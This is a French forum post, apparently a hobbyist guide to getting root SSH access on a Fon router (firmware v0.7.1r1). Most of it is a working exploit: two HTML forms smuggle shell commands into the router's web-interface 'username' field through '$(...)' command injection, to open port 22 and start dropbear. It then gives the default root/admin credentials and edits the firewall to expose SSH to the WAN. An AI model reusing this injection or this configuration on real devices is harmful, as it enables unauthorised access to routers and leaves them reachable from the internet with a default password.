Si firmware
v0.7.1r1
Créer deux pages .htm
avec dans la première
[fixed]<code>
<html>
<head>
</head>
<body>
<center>
<form method="post" action="http://169.254.255.1/cgi-bin/webif/connection.sh" enctype="multipart/form-data">
<input name="username" value="$(/usr/sbin/iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT)" size="68" >
<input type="submit" name="submit" value="Submit" onClick="{this.form.wifimode.value='";' + this.form.wifimode.value +';"'}" />
</form>
</body>
</html>
</code>[/fixed]
et une deuxième:
[fixed]<code>
<html>
<head>
</head>
<body>
<center>
<form method="post" action="http://169.254.255.1/cgi-bin/webif/connection.sh" enctype="multipart/form-data">
<input name="username" value="$(/etc/init.d/dropbear)" size="68" >
<input type="submit" name="submit" value="Submit" onClick="{this.form.wifimode.value='";' + this.form.wifimode.value +';"'}" />
</form>
</body>
</html>
</code>[/fixed]
Assurez vous que la fon est bien bootée, reliée directement au port RJ45 du pc
Windows geule chez moi, il dit "connexion limitée ou inexsistante", mais j'ai bien une adresse en 169.254.xx.xx d'atribuée
Assurez vous de pinger vers 169.254.255.1
Lancer la première page, cliquez Submit §§
Une page de l'interface fon doit s'afficher en disant "Sauvegarde de la configuration effectuée" ou quelquechose du style
Lancer la deuxième page, cliquez Submit §§
Une page de l'interface fon doit encore s'afficher en disant "Sauvegarde de la configuration effectuée"
et voila, SSH activé !

Connectez vous avec
Putty en SSH sur "169.254.255.1"
Login:
root
Passwd:
admin
et voila, vous êtes dedans
On peut le faire par wifi aussi, c'est ce que j'ai fait, il faut se connecter au signal "My Space" de la fon, avec comme clé WPA le N° de serie de la fon
Indiqué "S/N: 8xxxxxxxx" sur l'étiquette derrière la fon
Dans ce cas, l'adresse ip de la fon devient 192.168.10.1, et elle doit etre changée aussi dans les pages (le code) HTML que le file plus haut
Si vous le faites en wifi, changez juste "169.254.255.1" a chaque endroit par un "192.168.10.1"
maintenant, le truc, c'est d'activer SSH a chaque coup au boot, pour que ce soit moins relou:
a taper en ssh :
[fixed]mv /etc/init.d/dropbear /etc/init.d/S50dropbear[/fixed]
et modifier le firewall en décommentant les 2 dernières lignes dans /etc/firewall.user :
a taper en ssh :
[fixed]vi /etc/firewall.user[/fixed]
et la,
[fixed]### Open port to WAN
## -- This allows port 22 to be answered by (dropbear on) the router
##iptables -t nat -A prerouting_rule -i $WAN -p tcp --dport 22 -j ACCEPT
##iptables -A input_rule -i $WAN -p tcp --dport 22 -j ACCEPT[/fixed]
Doit devenir:
[fixed]### Open port to WAN
## -- This allows port 22 to be answered by (dropbear on) the router
iptables -t nat -A prerouting_rule -i $WAN -p tcp --dport 22 -j ACCEPT
iptables -A input_rule -i $WAN -p tcp --dport 22 -j ACCEPT[/fixed]
se placer juste sur les # et taper "x"
après, un coup échap, et
[fixed]:wq[/fixed]
et entrée et ALLAHOUAKBAR
essayez de rebooter la fon en tapant "reboot", et de reconnecter en SSH

Enjoy
